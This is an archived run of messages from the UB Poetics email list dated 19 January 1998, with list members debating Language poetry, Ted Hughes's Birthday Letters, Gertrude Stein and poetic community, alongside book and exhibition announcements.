I should have mentioned also an excellent collection of essays, with important essays by Hennix and Flynt, _Sound and Light: LaMonte Young, Marian Zazeela_, ed. Wm. Duckworth and Richard Fleming (Bucknell UP, 1996). They are properly at home in the context of minimalism....

DB

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****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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534. **nico vassilakis**
NEW HARRY SMITH Book
Mon 19 Jan 1998

---------- Forwarded message ----------
Date: Sat, 20 Dec 1997 19:33:10 -0800 (PST)
From: Darrin Daniel <[redacted]>
To: nico vassilakis <[redacted]>
Subject: Think of the Self Speaking

THINK OF THE SELF SPEAKING: Selected Interviews of Harry Smith

Introduction by Allen Ginsberg

Elbow and Cityful Press announce the first book collection of interviews by the filmmaker, painter and archivist, Harry Smith. Over 30 years of his life, Smith came back to the inteview as a medium for his brand of thought and expression. These interviews reveal the genius of the man and his contribution to arts and letters.

Harry Everett Smith was born May 29th, 1923 in Portland, Oregon. His early childhood was spent in the Pacific Northwest- Bellingham, Anacortes, Seattle and Portland. He attended University of Washington until before his move to

Berkeley, California in 1948. While in Berkeley he began extensively painting and filmmaking. Smith based much of his work in the non-objectivist style of Bauer and Kandinsky. In 1951 he received an invitation from Hilla Rebay of the Museum of Non-Objectivist art. He also received a Guggenheim, which allowed for him to move to New York City to pursue film and painting.

Primarily recognized as a filmmaker, Smith's innovations in hand-painting, collage, and batiking directly on film continue to influence on filmmakers today. His immense 78 album collection culminated in the "Anthology of American Music" [Re-released by Smithsonian Folkways].

Smith's range of discussion in "Think of the Self Speaking" includes: painting, music, film, the occult, anthropology and his early childhood in the northwest.

ISBN 1-885089-06-6. 175 pgs. 6x9, paper. $14.95 plus postage ($2.25). Cityful Press pob 4477 Seattle, Wa 98104-0477. Or e-mail at: [redacted]. Check or money order.

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535. David R. Israel
Hughes & Plath
Mon 19 Jan 1998

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clack . clack . clack .

this just in . . .

(thanks to http://my.yahoo.com/):
Sunday January 18 3:01 PM EST

UK Poet Hughes Breaks Silence Over Sylvia Plath

LONDON, Jan 17 (Reuters) - British poet Ted Hughes, vilified for more than 30 years over the suicide of his wife Sylvia Plath, has broken his silence by publishing a collection of startling love poems about the affair.

A collection of 88 poems called "Birthday Letters" written at intervals over the past 35 years, depict Hughes's love for Plath since their first meeting and in the years after her suicide.

Described by one poet and critic on Saturday as "a thunderbolt from the blue" the poems reveal for the first time Hughes's account of one of the century's most tragic literary love stories.

<snip>

The Times newspaper on Saturday published a selection of the new poems, which are to be published on January 29.

<snip>

The Times in an editorial called the collection "the greatest book by our greatest living writer."

"For 30 years Sylvia Plath's pain has been public knowledge... Now, in an autobiographical sequence that forms the finest work of his life, Ted Hughes brings his own pain into the open. he has taken a risk -- and should win full reward," the newspaper said.

Reuters/Variety

For the unabridged Reuters, see:
http://www.yahoo.com/headlines/980118/entertainment/stories/culture_poets_1.html

d.i.

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536. **Bob Grumman**
Re: povispo? squibble misc
Mon 19 Jan 1998

I'm with Meikal about community--with regard to visual poets, mail artists, poets-in-general, artists-in-general . . . (who are among the last to tool up because they are among the last to be able to afford to). Community is what pastes Miekal and me together despite our opposed feelings about categories and terms.

Yes, "access, participation, mutual aid."

As for terms, I say against Miekal that if a term's nature does not suggest "a generality that yet remains exclusive," what's the point of it? A term, in the final analysis, is just a word, and words--all words--are what we use to communicate to others, "this, not that." About individual terms we can of course argue, and the foolishly judgemental use of them we should condemn.

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537. **Harold Rhenisch**
Re: Expression/Self-Expression
Mon 19 Jan 1998

>>You or your daughter might be interested in "The Memory Palace of Matteo Ricci" by Jonathan D. Spence which describes a technique of mentally building, well, a "memory palace" where a structure of rooms contain objects which correspond either symbolically or practically to what you are remembering.<<

Marcella, I've enjoyed Frances A. Yates' "The Art of Memory" for years. Same deal, but in Classical Greece. I have even used the technique in a writing class, asking the students to build such a palace, then to step back through it and write what they found, with the one twist that on the second time through they were to see their fantastic objects and creatures as if for the first time. A sneaky way to get at symbolism, but it worked marvellously. Matteo Ricci probably turned over in his grave.

Sorry, Matteo.

Harold Rhenisch
[redacted]

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538. **Rachel Loden**
Hughes v Plath
Mon 19 Jan 1998

David R. Israel wrote:

> *LONDON, Jan 17 (Reuters) - British poet Ted Hughes, vilified for more than 30 years over the suicide of his wife Sylvia Plath, has broken his silence by publishing a collection of startling love poems about the affair.*

More odious than startling, judging from the three poems available on the _Times_ site yesterday. In the second one, he refers to her "African-lipped, laughing, thickly / Crimson-painted mouth . . ." In the third, there's this:

> And I became aware of the mystery
> Of your lips, like nothing before in my life,
> Their aboriginal thickness. And of your nose,
> Broad and Apache, nearly a boxer's nose,
> Scorpio's obverse to the Semitic eagle
> That made every camera your enemy,
> The jailor of your vanity, the traitor
> In your Sexual Dreams Incorporated,
> Nose from Attila's horde: a prototype face
> That could have looked up at me through the smoke
> Of a Navajo campfire.

I mean, what, no tittering lotus blossoms, no Mexican spitfires, while we're throwing in the kitchen sink? Haven't had this particular chill since coming across words like "Negress" and "Jewess." Which is to say, not in a long time.

Bring your Pepto-Bismol to

http://www.sunday-times.co.uk:80/news/pages/tim/98/01/17/timnnfnnf02008.html?1971198

Headline from Andrew Motion's review, also on the site: A thunderbolt from the blue: this book will live forever.

Rachel Loden

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539. Miekal And
Ice Fishing in Wisconsin School of Poetry
Mon 19 Jan 1998

Manifesto:

1. Coldness is a state of mind, words generate thermodynamic warmth.

2. Throw back what you cant eat.

3. If you cannot identify what you catch as belonging to a particular movement or category, it doesnt exist.

4. Success in the catch is directly proportional to the rise & fall of stock market events & solar storms.

5. Most language is fishy, all language has scale.

6. [additions?]

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540. Jacques Debrot
Re: Burning Deck
Mon 19 Jan 1998

I agree entirely with Crag Hill about Schorn's work, it's terrific. However I don't see Schorn's achievement as being an isolated -- or entirely unique -- one. Its peculiar collagist sensibility seems related to a lot of work being published by Burning Deck. For instance Lisa Jarnot's extraordinary verbal collage *Some Other Kind of Mission* seems to me an important breakthrough for post-Langpo writing. A breakthrough I see as already being extended by Sianne Ngai in work she's recently published in *Abacus* and *Chain 4*.

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541. **Michael Magee**
Re: Hughes & Plath
Mon 19 Jan 1998

'Described by one poet and critic on Saturday as "a thunderbolt from the blue"' - ??? goodness, If I were this poet I certainly wouldn't want people revealing that I'd used a phrase like "a thunderbolt from the blue"! Ted Hughes "Our greatest living writer"? even if this refers only to the island its impossibly wrong. Isn't he about 30 yrs too late for the "autobiographical sequence"? Still catching up w/ his ex. And that racialized description of Plath - what the hell?!? Oh, boy. -m.

↑ Index

542. **Harold Rhenisch**
Re: Ice Fishing in Wisconsin School of Poetry
Mon 19 Jan 1998

Poetry is best spoken from deep in the trout.

--Harold Rhenisch

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543. **Jacques Debrot**
Oy . . . Langpo
Mon 19 Jan 1998

In the new *Philly Talks* Ron Silliman writes:

"*what is it about language writing and all that has come after it that there has been no moment nor movement that has crystallized in anything like the same way poetry did in the early 1970s?* For all the anthologies of younger writers, many of then extraordinarily gifted, what do we find in the way of work that is actually new? I think this must be the challenge that faces every younger writer . . . "

Perhaps it would help to answer this question if we asked what *exactly* was new about Langpo. It strikes me that you only have to glance quickly through an anthology like *Poems for the Millenium* to realize that, formally, there are many poems -- and hundreds of passages -- as radically innovative as anything in Langpo. In fact, as John Shoptaw notices, a poem like Frank O'Hara's "What Appears to be Yours" from 1960 would not seem at all out of place in *The Language Book* or *In the American Tree*. By the mid-1950s -- as a reaction against the culture of Abstract Expressionism -- the New York avant-garde of O'Hara's and Ashbery's generation had already moved away from an aesthetic based on the physical body in relation to the poetic line. If Ashbery himself

talks about the influence of say Pollock on *The Tennis Coiurt Oath* this has really everything to do with the enormous power of the critical vocabulary with which theorists such as Clement Greenberg, Harold Rosenberg and Meyer Shapiro articulated the project of Abstract Expressionism -- that is, the difference between the art of Ashbery's generation and the Abstract Expressionists was incapable of being described within the limits of the language and concepts available for thought at this particular period. And it is this that seems to me to be the breakthrough of Langpo -- a breakthrough that is more a matter of being able to *read* -- in an entirely new way -- the more radical passages in the New American poetry than it is of *writing* poems in a fundamentally new way. (Here of course the reception to post-structuralist theory -- particularly the Marxist inflection it was given by Althusser -- motivated the character of this reading.) Nor does Ashbery's influence end, as Mandel seems to suggest, with *The Tennis Court Oath* -- I don't think it's mentioned in "The New Sentence," but isn't "Three Poems" the crucial stimulus for the explosion of Language prose poems written during the mid-, late- 70s? Today I think there are formal innovations being made that are as distinct from Langpo as Langpo's were from the New American poetry. The problem is that the critical language has grown stale -- & like the radical work of the 1960s, there is no adequate vocabulary with which to describe the implications of these innovations.

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544. **Michael Magee**

Re: Oy . . . Langpo

Mon 19 Jan 1998

---

from Jacques: " Today I think there are formal innovations being made that are as distinct from Langpo as Langpo's were from the New American poetry. The problem is that the critical language has grown stale -- & like the radical work of the 1960s, there is no adequate vocabulary with which to describe the implications of these innovations."

This seems to me a smart and succinct addition to what Josh Schuster began the other day regarding generational differences, etc. I wonder if some of those poets on this list who consider themselves related-to-but-clearly-post Langauge Writing might take a shot at adding a few words of "adequate vocabulary" regarding "the implications of [their] innovations." That'd be fun to read; and it would make great use of this List. -m.

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545. **Douglas Barbour**
Re: Mandel's online thinking
Mon 19 Jan 1998

The trials & tribulations of trying to 'reply' to the list: I had a nice long note thanking Tom Mandel for his postings 17-18 Jan (including his nice mea culpa for his remarks on Greil Marcus). So I have to try again. I appreciate his comments on the diverse bunch of people who have come to be called Language Poets. I think I said something about the way his comments on their choices of tradition(s) to follow & critique as well as those they simply ignored made good sense, partly in terms of Constance Penley's comments on an entirely different matter in her delightful & provocative _NASA/TREK_: choosing to write as a fan because fans are most critical from a position of desire. Anyway, that bunch of posts was useful in the best sense. But then a lot of the talk recently has been.

Mark Leahy: not sure which essay of Frank Davey's you mean, but you could try either _Reading Canadian Reading_ (Turnstone 1988) or _Canadian Literary Power- (NeWest 1994? [I dont have my copy beside me]), for some essays that take on those questions. Frank, if he checks in on the list might give you the exact essay title...?

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

546. Miekal And
Whose Visual Poetics? Global mimesis
Mon 19 Jan 1998

> *the convergence of hypermedia in the 20th century is technological & inextricably organic & moving at biologically recursive speeds toward a global mimesis of international sightsound.*

cris cheek wrote:

> *can i tease you to say more on this 'global mimesis'?*

in the last few years Im seeing a convergence of crossmedia experimentation, computers realizing the promise of the early 60s & a boundlessly exploding internationality of networking. mimetically our mothertongues are being invited to morph into a larger confluence of multi-dimensioned & interactive world-speak. while nationality of language will always be a limitation, extra-language artforms like visual poetry self-organize as intelligent biomes of sightsound interactivity, & oftentimes the edges where radically differing styles meet expose openings for the new work to follow. as dynamic codes I see their effect most profoundly on someone such as my son, who lives amidst a mini empire of such signs, his own expressions layered with these sensibilities. so in the physiological sense, the visual poetry meme is the paradise garden we can choose to cultivate, it is the wilderness we can be lost in...

sing sing the paper black

miekal

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547. Miekal And
[Fwd:] THE III INTERNATIONAL EXHIBITION OF VISUAL >POETRY
Mon 19 Jan 1998

This is a multi-part message in MIME format.

the
intergalactic
hypertext
time machine
presents

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id PAA07186
for <[redacted]>; Mon, 19 Jan 1998 15:21:02 -0600 (CST)
Date: Mon, 19 Jan 1998 16:32:48 -0500
To: [redacted]
From: [redacted]

X-From_: [redacted] Sat Nov 8 06:05:38 1997
X-Sender: [redacted]
Mime-Version: 1.0
Date: Wed, 05 Nov 1997 16:27:48 -0300
To: [redacted]
From: Clemente Padin <[redacted]>
III INTERNATIONAL
EXHIBITION OF VISUAL POETRY

Dear Friend,

Next september we'll organize THE III INTERNATIONAL EXHIBITION OF VISUAL POETRY, in Bento Gonçalves, a city in the south of Brazil.
The Exhibition will be included in the VI BRAZILIAN CONGRESS OF POETRY, the most important Congress of Poetry in the South America.
The title of the Exhibition is "2000 - 2", maximum format until A-3 (42 x 30 cm), and the deadline is 10th of september of 1998.
You can send 2 or 3 visual poems to:

ADEMIR ANTONIO BACCA
P O BOX 41
BENTO GONÇALVES-RS
BRAZIL
95700-000

The coordinators of the Exhibition (Clemente Padin, Fernando Aguiar and Hugo Pontes) will make a large selection of the best visual poems, and will be printed a special number of the newspaper "Garatuja", as a catalogue, who will include, at least, one poem of each selected poet.
We'll make an archive of visual poetry with the documents of the first and second exhibition.
So, if you like, you may send books, catalogues, magazines, C.D., K-7, etc., for integrate that archive.

Fraternal greetings,
Clemente Padin
C.Correo Central 1211
11000 Montevideo
URUGUAY Fax (598) 2 915 94 17

----------6AC10C22F8B--

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548. **KENT JOHNSON**
The Catskill School of Poetry
Mon 19 Jan 1998

Just got back from ice fishing in Wisconsin to find Don Byrd's reply to my questions about community and the "Catskill School"--a group that I have apparently more or less dreamed up in my mind over the past several years. Thanks Don, though I sort of feel that I fell through the list's thin ice with that post (with a bigger splash than usual, that is), coming off pretty much like a secret Bloomsbury wanna be, longing for the drawing room and patter about books over tea.

Actually, I can trace this all back to the Sheraton lobby bar whare I had a drink or two with Jed Rasula at the MLA in Washington D.C., which was in '88 or thereabouts. As David Bromige has recently shown, I don't have much of a memory, but I do know that after I told Jed I wanted him in the Buddhist anthology even though he wasn't exactly a Buddhist, I sat back and listened to Jed talk about his association with you and Chuck Stein, and about other people in and around Bard whose names I can't now remember, and the naive idea I got was, indeed, of an "ideally literary" community, a real _comunitas_, engaged in study and talk about some pretty heavy and weird stuff, some of which I remember Jed going on about at some length with frightening eloquence, bringing home to me that my best hope, really, was to be a decidedly third or fourth tier personage in the pantheon of postmodern poet-critics. And then I read Stein's anthology, and he says something there about all the close associations and then, too, the "Acknowledgments" page of _Poetics of the Common Knowledge_ does too. So you see, I took that and stoked it wildly up, and here I've been, all this time, imagining poets strolling by the Hudson, or sitting around the fire two or threee times a week, earnestly talking about Olson, Hegel, and high mathematics. Hoo boy...

Let me try to rephrase what my conjectural points were about this community question, and here I suppose I'm going to sound completely silly again, but so what, because as I recently said to someone b-c, I teach at a community college and don't really have an academic reputation to uphold. It's this: For poetic community, the presence of _bodies in the flesh_, gathered together inside the sound of voices, is key. And it's key because only with mutual human presence can one witness and grow wiser from the falterings and awkwardnesses and qualifications and sudden synchronicities of thought and insight that are intrinsic to any movement toward understanding. I _agree_ with you that this doesn't mean that e-mail lists are not a good thing! Far from it--obviously there's an incredible amount of intelligence that arises here and the medium makes that possible. But the medium also has its flip and "darker side" as I see it. And one thing that I've come to feel is interesting about this list (and correct me listmates if I'm jsut projecting because maybe I am) is that it is a place, in the first

instance, of positioning and _performance_, and one rarely finds a person and poet here openly vulnerable in the sense of groping and stumbling _in the process of thought_, certainly never totally at a loss for what to make of this or that. Nor, consequently, does one often find others entering, and sharing, and making use of, such falterings and false starts. To the contrary: "Thinking" here tends to be sheathed in the finish of performance (the best "finishes" being those that obscure such status), in posts that are eloquent and quite sure of themselves, quick to certainty and knife-edged irony, and quick to draw the line of defense. Long posts and bitty short ones. Very careful, everyone of us, and rarely a stutter to be heard. Even as I try to type quickly here and make this be "not careful", I'm going back and changing a whole bunch of stuff to make it sound better, even more natural and spontaneous!

So the medium does that too, I think, amkes it fairly impossible to enter into a relationship to thought and language that is not thoroughly staged --and in that sense, it might be seen as having a contradictory sort of relationship vis a vis the formation of real poetic community that is enabling of the kinds of truly new thinking and work that Ron Silliman laments the absence of, for example, in his Philly Lectures.

Oh Poets, get together in human form and talk with vulnerable seriousness about difficult books, and reveal, proudly, that _most of the time_, even if you're a big shot, that you don't know what the fuck you're talking about, for this might lead us to places we could never have suspected!!

All of this stochastic in the extreme, but it's in that spirit that I asked about Clarke, a really hard poet who makes me scratch my head and sound like an idiot when I try to talk about him with my voice box. To"talk" about him here would be a fantastic thing, of course, and all sorts of new and breathtakingly eloquent insights would emerge. But I suspect I might actually learn more _deeply_ about Clarke by participating immediately (like at the diner, with plastic ketchup and mustard bottles under the wall-juke) in the non-mediated, non-edited struggle of others to understand and say, and then sharing in, and being truly changed by, the moments of mutual clarity in which all the false starts and silences inhere. Even if E.O. Wilson is ultimately right that "what we call _meaning_" is nothing more romantic than "the linkage among the neural networks created by the spreading excitation that enlarges imagery and engages emotion," it would be the case that the chaotic background patterns of half-thought rivulets I have engendered iwth others will enter and excite meaning and understanding, making it richer, more fractal, in the human sense of the word. Yes, whatever that all means.

(Emma! More coffee!).

Alright, I suppose I've ruined myself now. I'm a _fifth_ tier sap who needs to spend some time with Of Grammatology. I'm an ice-fisherman who can't catch fish. I am a fool who just screamed I LOVE SPEECH. But I will never forget my vivid, waking dream about the beautful, light-encased men and women of the Catskill School of Poetry.

Kent

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549. **Dale Smith**

Langpods

Mon 19 Jan 1998

I read both of Safdie¹s recent posts with pleasure. One of the many thoughtful things he said to the Great Bromige was, ³I resisted then, as I hope I would now, any so-called ³movement² that wanted to sweep away what had gone before in its triumphal path; the tradition is important to me.² I have to admit, when I saw the Great one¹s slams on Tom Clark, I wrote Safdie saying that I¹d like to get my Beowulf paws on that self deluded, lying coward. Something sweet like that. But Safdie addressed with intelligence the disease, while I fumed over the symptom. I merely want to stress Joe¹s remark, and ask, that guardian of banality Broomige why he, like many others (and maybe you Œothers¹ could help him out too), want to sweep the past away. This repressed, psychotic inability to acknowledge the mercantile reality of the art today is revealed too often in the way poets like Tom Clark and Edward Dorn are tossed off by the clergy of the precious librully minded langpod and langpod wannabes. Hell. Enough of these self-righteous and complacent Œcritiques,¹ Œexperiments,¹ and Œsyllogistic¹ amputations. The imported theories that fog your minds don¹t deserve the attention of some one like Tom. But if they did call his attention, as some have, as Joe says, he is more than able to Œunderstand.¹ He can even take these verbose and hideous reformations and sniff out the lies, delusions and repressed cravings that created them. But that¹s not the point. The point is two of the most brilliant and dedicated men to engage the art of verse this century are referred to only for an award for poetic idiocy that any of us should have received instead of Steve Abbot. Human beans, I dare say, have allowed worse folly in their ranks. Until now. If that¹s the only crime. Because that¹s the only ever fully mentioned. You, who can name their atrocities, I¹m sure, live in a moral void that is sinister in its delusion.

Since I¹m now on a holy high roll, please refrain from cursing my name until I finish this paragraph. Although that Bear Watten essay was, as Joe points out, turgid, it did reveal something to me about the division between material and non material texts. Now, for the sake of simplicity, I¹m gonna get binomial.

Stein represents one side, Pound another, for us, active poets, in this dying century. You langpods and langpod wannabes adore Stein and the material text because all that matters is the form. You don¹t have to risk your necks on your opinions, which is probably for the best, for obvious reasons. Nor do you have a single thing to say other than the most trite librul platitudes. So Œtexts¹ are arranged with splashes of polite humor. (Something truly funny, by the way, sticks to you deeply, and would hurt if time were allowed for reflection). The arrogance of the material text actually goes against your desire to be Œinclusive,¹ to let the Œreader¹ read you because a reader (without quotes) is gonna laugh and shut the book. Hey, check it out. I do all the time. Take something like Dark City to your mother. Now what¹s she gonna make of that? Or are you so enlightened you know prior that she¹ll never understand? Because, you see, unlike with Pound, you know that with a Steinian text you¹re not going to receive anything for your efforts. That would be fine, in and of itself. Art for art¹s sake. But add some blind moral obedience to these Œtexts¹ and then you get all sorts of high-minded bullshit. Plus, now, the material text is part of the orthodoxy of the avant gard. Dissent is silenced by the usual unquestioned platitudes and reductions. Lighten up. There¹s a world out there. Poetry¹s not about right and wrong. It¹s about what gets let into the poem and how that is expressed. The poem is worthy of everything available to the poet, which includes the most frightening, disturbing and darkly unspoken symptoms of a culture on the verge of moral bankruptcy.

I know what I¹m saying here will be received with disdain and ³horror² but I must beseech you who condemn without reason and you who remain silent about this condemnation to acknowledge the thoughtless, cruel and truly disturbing state of poetry that exists today due to this langpod attempt to silence the past, even silencing those from whom the art was learned. Disagreement and debate is one thing. Reduction, character assassination, smear campaigns and consignment to oblivion are truly evil because nothing grows from this silence. Somehow the poetic avant gard (as opposed to the Random House of song) must confront its internal tensions with courage and strength. What separates this avant gard (I use this term for lack of a more satisfactory one at hand) from the Œmainstream¹ is twofold (at least on the surface): formal challenge and moral challenge. At least the big pubs acknowledge, in their way, their motivating force: money. IF that¹s not our goal, what is? And if it¹s not, then why model our practices on a corporate platform? Well, actually, it is about money, but not as much. There¹s a lot of us after a tiny piece of the pie, which is recognition, publication, teaching and editing positions. Is that the real issue? I¹m not asking for Œacceptance¹ of every opposing idea, but for vigorous debate over the received ideas by which we function as artists in this culture. Looking for Œbalance,¹ or Œseeing the value¹ in opposed traditions is

fine, but if something¹s not believed in enough to put your neck out on the chopping block, then what¹s the point of this relativism? But this is a waste of time. I can already imagine the responses because I have spoken to a group of people engaged with the orthodox issues of a decadent late century art form whose practitioners are confused by their own motivations for success and their desire to sublimate fear and uncertainty through the medium of poetry.

Not to set myself above anyone. I came to San Francisco enthused by the works of Silliman et al, and I enrolled at New College to study with Lyn H. But in the process of that education I slowly came to realize how utterly vapid, elite and alienating langpod poetry truly is. But obviously, others disagree and find much of value there. But your attempts to silence dissent are ridiculous and totally undermine the methods practiced. I, again, have written this to voice my dissent and to let you know that such glib refutes as Bromige¹s are terribly transparent.

Dale Smith

Get Your Private, Free Email at http://www.hotmail.com

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550. Marcella Durand

Re: Expression/Self-Expression

Mon 19 Jan 1998

You or your daughter might be interested in "The Memory Palace of Matteo =
Ricci" by Jonathan D. Spence which describes a technique of mentally =
building, well, a "memory palace" where a structure of rooms contain =
objects which correspond either symbolically or practically to what you =
are remembering. Ricci, a Jesuit priest, travelled to China to teach it. =
It seems your daughter has hit upon it instinctively.

From: Harold Rhenisch
Sent: Sunday, January 18, 1998 2:30 AM
To: [redacted]
Subject: Re: Expression/Self-Expression

Bob,

to your,

>>I don't see words as containers but (very old-fashionedly) as tags.
They make you remember what you've perceived in the past.<<

Tags is good.

But who is this 'you' perceiving in the past? I'd say the words had =
their
hand in it. This 'you' is a tool the words have made for their own ends,
no? Sure, this 'you' exists, but it is a very special meta-creature, and =
a
very powerful one. What happens when one moves away from the country of =
the
you into the country of the words?

>>I would claim
your brain has "tree" stored somewhere, and that when you read it, the
"knowlecule" (as I call it in my theory of the mind, which is even
nuttier than my poetics) in your brain for "tree" straight-forwardly
links to all the knowlecules there that have anything to do with trees,
the strength of any particular link depending on context.<<

My 12 year old daughter claims that if she wants to remember something, =
she just has to visualize a general category, and then she sees the sub-cate-
gories unfold below it, including, in the example of our tree, every instance of
tree she has encountered. She then searches through = this list of images, film-
clips, and words, etc., until she lights upon what = she was looking for. Now, I
find this remarkable and profound, but I know my mind does not work like that.
Mine is symbolic. There's a logic there, = but an entirely different one. I think
that's what helps make this so difficult: we don't all think the same.

>>This all probably sounds simple-minded and, I think, is. I hope
it gives you an idea of where I'm coming from, though.<<

Not simple-minded. Was always clear.

Harold
[redacted]

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551. **groberts**
Re: Ice Fishing in Wisconsin School of Poetry
Mon 19 Jan 1998

---

6. The ice you remove may be pushed through or thrown aside, but it must go
somewhere.

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552. **Michael Magee**
Re: Langpods
Mon 19 Jan 1998

Dale Smith:
"Because, you see, unlike with Pound, you know that with a Steinian text you¹re not going to receive anything for your efforts."

Not to draw the battle lines to plainly, but this is total bullshit, however rhetorically it may have been intended. I don't have much at stake here since I feel far to young to be caught up in what is obviously a painful and historically determined tussle, and I certainly have nothing against Dale, how could I?, not knowing him. But, c'mon, let's be more precise - there are enough intelligent, sincere, and kind people out there who *have* gotten something out of Stein that we surely shouldn't piss on her like that. Can you not get anything out of, at least, *Three Lives* - I did, in fact, recommend it to my mother, as well as my 17 yr old sister, neither of whom are experimentally inclined in the least, and they both loved it; I teach it to my students, few of them Einsteins, and they tend to dig it; I also read "The Completed Portrait of Picasso to my six-year-old twin nieces and they find it great fun, for the same reason that I do - because language itself is a great pleasure, whatever it happens to "mean." You want everyone to read Pound because he rewards exegesis?! Well, hell, I like Pound well enough, but I don't have to tell anyone that reading Pound and taking him at his word ain't without its dangers. Besides, why always the manichean approach? Too much us and then spoils the list. -m.

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553. **Jacques Debrot**
Re: Langpods
Mon 19 Jan 1998

Dale Smith, I wonder if, just once, you could talk about the virtues of, say, Tom Clark's latest -- something I'd love to read about -- without positioning yourself against the strawman/dead horse of Language poetry. Rather than being "shocking" your polemics strike me as somewhat shrill & naive -- more like projections of your own anxieties about "relativism," etc. than really speaking to the complicated issues Langpo raises.

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554. **d powell**
Re: Langpods
Mon 19 Jan 1998

I appreciate the coinage of the "us and then" mentality.

==========
=====
D A Powell [redacted]
==========
=====

Michael Magee wrote:
  Besides, why always the manichean approach? Too much >us and
>then spoils the list. -m.
>
>----------
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
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>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 19 Jan 1998 19:32:29 -0000
>Received: (qmail 9612 invoked from network); 19 Jan 1998 19:17:47 >-0000
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> by deliverance.acsu.buffalo.edu with SMTP; 19 Jan 1998 19:17:47 >-0000
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>LISTSERV.ACSU.BUFFALO.EDU
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> listserv.acsu.buffalo.edu with SMTP; 19 Jan 1998 >19:17:33 -0000
>Received: (from [redacted]) by dept.english.upenn.edu >(8.8.6/8.8.6) id
> OAA59716 for [redacted]; Mon, 19 >Jan 1998
> 14:17:23 -0500
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>Content-Transfer-Encoding: 7bit
>Message-ID: <[redacted]>
>Date: Mon, 19 Jan 1998 14:17:23 -0500
>Reply-To: UB Poetics discussion group ><[redacted]>
>Sender: UB Poetics discussion group ><[redacted]>
>From: Michael Magee <[redacted]>

>Subject: Re: Langpods
>To: [redacted]
>In-Reply-To: <[redacted]> from "Dale >Smith" at Jan
> 19, 98 10:01:24 am
>
>

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555. **William Marsh**
Movement:movement
Mon 19 Jan 1998

At 09:47 AM 1/19/98 -0500, jacques d wrote:
Today I think there are formal
>innovations being made that are as distinct from Langpo as Langpo's were from
>the New American poetry. The problem is that the critical language has grown
>stale -- & like the radical work of the 1960s, there is no adequate
>vocabulary with which to describe the implications of these innovations.
>

i think this and much else in Jacque's post raise some pretty good questions / i'd like to pick up on the issue of "movements" though with a question or concern on my mind: to respond to the beginning of the Silliman quote that Jacques used to open, i wonder if the lack of "crystallization" among young writers isn't due in part to the kind of movement-aversion instilled by some of the LangPo rhetoric that seemed to voice a disinclination to regard (or argue for) the go-ings-on of the early 70's as a "Movement" per se / i think for a lot of writers for whom Language Poetry offered a point of departure, the work and activities of these poets seemed like a convergence of movements (some personal/individ-ual, some collective) from which other movements could arise / i think many of us have taken quite literally the resistance with which many Language Poets greeted statements that theirs was a Movement, at least in the early 20th c. avant-garde sense born out of the moments of Surrealism, Dadaism, etc.

rejecting "anxiety of influence," i think a lot of younger writers avow a *passion for confluence* / and don't consider as a chief concern embracing a Movement platform that would require, realistically, marking distinctions between new 90's and new 70's writing / there might be brief moments of crystallization or freeze, perhaps when the power goes out and all the wood in the world can't keep the chill out / but there seems to me to be so much movement these days, such strong currents, at various speeds and depths, that the kind of freeze that

might mark a Movement is just not possible / the quick-fold rate of web sites, magazines, micropresses, organizations, homes, affiliations, friendships -- also the kinds of electronic and atomic flickering that keep things stirred up and un-congealed on this discussion list -- index the movement i'm thinking about: present and powerful but hardly localized, except in the individuals whose sense of community often comes from fleeting moments of confluence in time and space

i think that's why younger writers growing out of Language Poetry, Black Mtn Poetry, Visual/Concrete Poetry, on back and out, are perhaps willing to greet with a silent smile such labels as "post-language" and such qualifications as "not new" -- because jelling/distinguishing/defining (ourselves, the newness) are not priorities, having learned our lessons well ("born again in the swarm, not separate and self-hypnotized, but individual and related"--Miller) / the problem of distinguishing ourselves as "the generation that refuses to distinguish itself" is perhaps something to take seriously / certain efforts to avoid this paradox (in the diligent essays of Mark Wallace, for example) might begin to address it / otherwise, to me the new good work is roughage in a rough age, high-fiber po-etry that knows there's a lot still to be worked out / screw the new, anxious only to see what's next...

this before breakfast and coffee

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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556. **David Zauhar**

Re: Ice Fishing in Wisconsin School of Poetry

Mon 19 Jan 1998

On Mon, 19 Jan 1998, Miekal And wrote:

> *Manifesto:*
>
> *1. Coldness is a state of mind, words generate thermodynamic warmth.*

> *2. Throw back what you cant eat.*
>
> *3. If you cannot identify what you catch as belonging to a particular movement or category, it doesnt exist.*
>
> *4. Success in the catch is directly proportional to the rise & fall of stock market events & solar storms.*
>
> *5. Most language is fishy, all language has scale.*
>
> *6. [additions?]*

"Your ear / is cold!-- here, / drink"
--Lorine Niedecker, Poet Laureate of the IFW School, 1967-1970.

DZauhar

↑ Index

557. **Gwyn McVay**
2 counterexamples
Mon 19 Jan 1998

Sez Dale Smith:

1. Take something
like Dark City to your mother. Now what9s she gonna make of that? Or
are you so enlightened you know prior that she9ll never understand?<<<

2. Because, you see, unlike with Pound, you know that with a Steinian text
you9re not going to receive anything for your efforts.<<<

1. I had the pleasure of shopping in Bridge Street Books with my mother, who is not versed (sorry) in the many different avant-garde/innovative/ querzblatz poetries that are out there. She picked up a book by Bernadette Mayer, read in it, started to laugh, said, "This woman is crazy!" and then bought the book. (Why does that figure of speech always involve the mother? Are they dimmer about poetry than "your father"?)

2. Example of something I received for my efforts with Stein:

"I am very miserable about sentences. I can cry about sentences but not about haircloth." (/How to Write/)

I love this. I mean, I really enjoy this in a way that requires no theory to understand. I have received 44 freshman English diagnostic writings today; I shall be very miserable about sentences indeed when I read them, and miserable about sentences in a different way when I sit down and work on my next titanic masterpiece. Haircloth, blah. But sentences--I relate.

Anecdotally,
Gwyn McVay

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558. Jo Ann Blevins
Lisa Jarnot
Mon 19 Jan 1998

List members: Can anybody share the most current snail mail address for Lisa Jarnot, please? I have materials concerning Robert Duncan that won't email. Thanks, Rich Blevins

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559. Jordan Davis
Mandalas / cathedrals / insects / thieves
Mon 19 Jan 1998

